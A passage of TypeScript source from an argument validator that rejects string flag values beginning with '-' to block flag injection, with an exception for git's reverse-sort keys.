|
|
FLAG_PATTERN.test(tokens[i + 1]!))
|
|
) {
|
|
return false // Missing required argument
|
|
}
|
|
argValue = tokens[i + 1] || ''
|
|
i += 2
|
|
}
|
|
|
|
// Defense-in-depth: For string arguments, reject values that start with '-'
|
|
// This prevents type confusion attacks where a flag marked as 'string'
|
|
// but actually takes no arguments could be used to inject dangerous flags
|
|
// Exception: git's --sort flag can have values starting with '-' for reverse sorting
|
|
if (flagArgType === 'string' && argValue.startsWith('-')) {
|
|
// Special case: git's --sort flag allows - prefix for reverse sorting
|
|
if (
|
|
flag === '--sort' &&
|
|
options?.commandName === 'git' &&
|
|
argValue.match(/^-[a-zA-Z]/)
|
|
) {
|
|
// This looks like a reverse sort (e.g., -refname, -version:refname)
|
|
// Allow it if the rest looks like a valid sort key
|
|
} else {
|
|
return false
|
|
}
|
|
}
|
|
|
|
// Validate argument based on type
|
|
if (!validateFlagArgument(argValue, flagArgType)) {
|
|
return false
|
|
}
|
|
}
|
|
} else {
|
|
// Non-flag argument (like revision specs, file paths, etc.) - this is allowed
|
|
i++
|
|
}
|
|
}
|
|
|
|
return true
|
|
}
|